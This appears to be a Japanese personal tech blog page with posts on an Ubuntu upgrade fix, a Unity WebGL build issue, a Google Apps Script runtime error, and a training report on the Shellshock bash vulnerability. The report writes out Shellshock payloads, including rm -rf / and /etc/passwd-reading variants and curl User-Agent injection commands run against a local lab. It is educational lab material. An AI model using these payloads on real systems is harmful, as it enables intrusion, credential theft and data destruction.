Ubuntu 18.04(LTS)→20.04(LTS)アップグレードでハマったこと
以前Python3周りの環境構築でやらかして以降、放置していたUbuntuのアップグレード問題をようやく解決したお話。
前提
UbuntuはOS自体がpythonで動いているので、これを弄ると色々まずいことに。
なので、基本は別途に複数のバージョンをインストールしていくことになります。
Ubuntuを18.04(LTS)→20.04(LTS)にしたい
Ubuntuの最新バージョンへのアップグレードを行うには、以下の手順でやっていくことになります。
sudo apt update
sudo apt install update-manager
sudo apt dist-upgrade
sudo do-release-upgrade -d
ところがパッケージマネージャの処理でエラーが発生。
Your python3 install is corrupted. Please fix the '/usr/bin/python3' symlink
/usr/bin/python3はUbuntuで使用されているデフォルトのPython3バージョンを指すシンボリックリンク(ショートカットのようなもの)であり、
ここのpython3のバージョンがubuntuバージョンの標準のものでないとこのようなエラーが発生するケースがある、とのこと。
Ubuntu18.04で規定のバージョンはpython3.6.8ですが、自分の環境では手動でpython3.8としていました。
update-alternatives --config pythonでpythonのバージョンを変更します。
sudo update-alternatives --config python
とすることで、実行可能ファイルを確認することができる
以下のコマンドにより
$sudo update-alternatives --install /usr/bin/python python /usr/bin/python2.7 1
$sudo update-alternatives --install /usr/bin/python python /usr/bin/python3.6 2
python2、python3の指定した任意のバージョンをそれぞれ登録することができます。(この場合はpython2.7と3.6を実行可能ファイルとして登録できます)
ここで3.6を規定バージョンに変更。
python3 --version
のコマンドでバージョンが3.6.8になっていることを確認します。
sudo ln -s /usr/bin/python3.6 /usr/bin/python3
でpython3.6のシンボリックリンクを再作成
が、うまくいかない。
バージョン依存の原因ではないらしい。
もっとシンプル(かつ厄介)で、python3のパッケージが破損しているということでした。
sudo apt-get install python3
を実行したところ、
dpkg: パッケージ libjna-java の処理中にエラーが発生しました (--configure):
パッケージが非常に矛盾した状態に陥りました。設定を試みる
前に再インストールすべきです。
処理中にエラーが発生しました:
python3
パッケージが非常に矛盾しているようです。怖いですね。
ステータスを調べてみる
dpkg -s cacti-spine
とすると、
Status: install reinstreq half-installed
インストールが中断されて、半分インストールされた状態になっていた模様。
こういったケースでは-reinstallのコマンドが使えるとのことで、sudo apt-get install --reinstall python3
で再度python3をインストール。
インストールが成功していた場合
Status: install ok installed
となります。
ここでもう一度 sudo do-release-upgrade -d
をして確認。
upgrade開始の確認が表示され、yNとすることで成功。
無事20.04にアップグレードできました。
まとめ
python3のデフォルトバージョンはうかつに弄らない方がいい(あさはかでした)
参考
SC4Y ('20#1) サイバーセキュリティ 脆弱性対応 (防災訓練)参加レポート
北海道地域情報セキュリティ連絡会(HAISL)主催のセキュリティイベントSC4Yに参加しました。
Zoom+SlackとYoutube Liveを併用してのオンライン開催でした。
本イベントではshellshockを題材にしたハンズオン演習が行われたため、簡単なメモを残しておきたいと思います。
ShellShockとは?
実際にバグが仕込まれたのが1993年、Stephane Chazelas氏がこれを報告したのが2014年9月9月の出来事とのこと。
ハンズオンでは、そこから修正パッケージが公開されるまでの一連の流れを攻撃者・防衛側の両サイドから検証する形で追っていきました。
PoCコードについて
PoC(Proof of Concept)コードとは、脆弱性を検証するためのテストコード
$env x='() { :;}; echo vulnerable' bash -c "echo test
envはshellの環境変数設定コマンド
bash -c "echo test"はシンプルなシェルのコード
xは環境変数で
本当は
env LANG C=date
などというように使う
x='() { :;};で変数xに魔法の文字列() { :;};とコマンドが入れられている→怪しい
このコマンドを実行すると、想定される実行結果は
test
ですが、
使用している Bash のバージョンに脆弱性が含まれる場合は、
test
の他に
vulnerable
という文字列が表示される
→環境変数の文字列がコマンドとして実行されてしまうのが問題
echo vulnerable で環境変数に攻撃的なコードを埋め込んでいる
たとえば
$env x='() { :;}; rm -rf / ' bash -c "echo test"
なら、rm -rfでデータをすべて消去
/bin/cat /etc/passwd
としたならアカウント情報窃取
という攻撃ができてしまう
LAB環境についての覚え書き
今回は比較的簡単に検証できる環境としてVirtual Boxを利用
・NICというLANカードを介して
有線のLANポート、無線のアンテナのようなもの。
・LAB環境は脆弱性をわざと参照している
外部から攻撃されては困るので、NAT*1といわれる技術で隔離している。
・攻撃者と防衛側の一人二役で行う
Windowsの場合
Tera Termが防衛側(vNIC*2)、Power Shellが攻撃側(lo/ループバックアドレス)*3
(攻撃側)偵察行動のコマンド例
windows powerShellの場合
.\curl.exe -A ‘() { :;}; echo Content-Type: text/html; echo ; /bin/ls /usr/local’ http://127.0.0.1/test.php
もしくは
(iwr -UserAgent ‘() { :;}; echo Content-Type: text/html; echo ; /bin/ls /usr/local’ http://127.0.0.1/test.php).Content
(攻撃側)拠点確立行動のコマンド例
.¥curl.exe -A ‘() { :;}; echo Content-Type: text/html; echo ; echo hacked > /tmp/backdoor’ http://127.0.0.1/test.php
もしくは
(iwr -UserAgent ‘() { :;}; echo Content-Type: text/html; echo ; echo hacked > /tmp/backdoor’ http://127.0.0.1/test.php).Content
curl:http通信
'().../local':User-Agentにbashコマンドを記法
http以下:CGIコンテンツを指定
SlackからPower Shell上にコピペするとcurl.exeの前の\(半角バックスラッシュ)が¥(半角円マーク)に
→そのままではエラーが出るので、Power Shell上で\に書き換えればOK
UserAgentにコマンドを入れるだけで攻撃が成立してしまう怖さ
被害の有無を調査する
shellsockの場合は影響範囲が広く、どこで影響を受けるかわからないため、ありとあらゆるログを見るべき。
たとえば
- システムログ/var/log/messages
- 認証ログ/var/log/secure
- デバイス関連ログ/var/log/dmesg/
- 定期実行処理のログ/var/log/cron
- メールのログ/var/log/maillog
- httpdのログ/var/log/httpd/以下
その他にも、データベースを使っているならmysqlのログなど
不審なログを発見するために
異常時のログを見分けるために、正常時にはどんなログが流れているのか、どういう意味なのかを定期的に確認しておくのがよい。
学びとして
セキュリティの勉強はインプットが中心でモチベーションが続きにくく、アウトプットをするにはどうするのがよいだろうか?という質問がありました。
発展的なアウトプット手段としてはSecHack365*4やCTF*5・バグバウンティの紹介なども。
またセキュリティで扱うテーマはとても広いので、最初は興味を持った分野から掘り下げていくのがよいというお話でした。
まだまだ不勉強で理解が追い付かないところが多かったですが、内容の濃いお話がたくさん聞けました。
こうした学びの機会は貴重なので、機会があればぜひまた参加したいです。
期末試験が終わったらこれを再開したい
WebGLのビルドで苦戦した話
Unity 1 Week用の作品をUnity Roomに投稿しようと意気込み、Web GLにビルドできない問題が発生。
エラーを見てみると、Pathの設定に問題がありそうな一文が。
どうもプロジェクトフォルダ名とフォルダまでのパスに全角英数字が含まれているとダメらしい...。
やったこと
- 念のためプロジェクト名の半角大文字を小文字に変更
大文字すら怖かった。
- バックアップを取る
Assets→Export packageでアセットデータのエクスポート&フォルダごとコピー。
- CloudBuildを試してみる
Successの表示を確認→ダッシュボートでプレイを実行してみたところ
The webgl build requested was not found
Edgeでもダメでした。こちらは保留。*1
- Build先をドキュメントの外に変えてみた
C:\Users\[UserName]\OneDrive
初回はエラーで失敗。
再起動して試したところ無事処理が始まり、Node.jsがファイアウォールでブロックされているという警告→アクセス許可で成功。
追記
DドライブのDocumentsにWeb GLフォルダを作り保存
→こちらも無事成功。
まとめると、ビルドが上手くいかないときは
- フォルダ名とそこに至るまでのパス名の中に日本語全角がないか
- Node.jsがブロックされていないか
を確認してみるといいかもしれません。
思いのほか時間がかかってしまった。。
作品はunityroomで公開中です。
右も左もわからない状態でしたが、なんとか形にはできました。
よければ遊んでみてください!
GAS入門とV8ランタイム
せっかくAmazon Kindle Unlimitedの無料体験中なので、そろそろ本腰入れてGAS入門するぞ、とGoogle Apps Scriptステップアップガイドを始めてみた。
以下、躓いた部分のメモ。
- 発生した問題
doGetメソッドの実行でエラー
TypeError: output.append is not a function(行 12)
- 該当箇所
// コード.gs
function doGet() {
var output =
HtmlService.createTemplateFromFile('index');
return output.evaluate().setTitle('Sample page');
}function getData() {
return ["Windows","Mac OS X","Linux"];
}
// index.html
<style>
h1 {font-size:16pt;
background:#AAFFAA;padding:5px;}
p {margin:10px;}
</style>
<h1>Sample page</h1>
<ol>
<?
var datas = getData();
for(var i=0;i<=datas.length;i++){
if(datas[i]==undefined){ break; }
output*1.append('<li>'+datas[i]+'</li>');
}
?>
</ol>
- 解決
V8ランタイムを無効にする
GASが旧RhinoランタイムからV8ランタイムに対応した関係*2で、一部の構文が使えなくなってしまった模様。V8ランタイムは現在のJavascriptの標準規格であるECMAScriptに準拠していて、こちらの方がよりモダンなJSを書けますよ、ということらしい。
今回はRhinoエンジンにダウングレードしたことで問題解消。
公式V8ドキュメント
英弱なのでこちらも参照。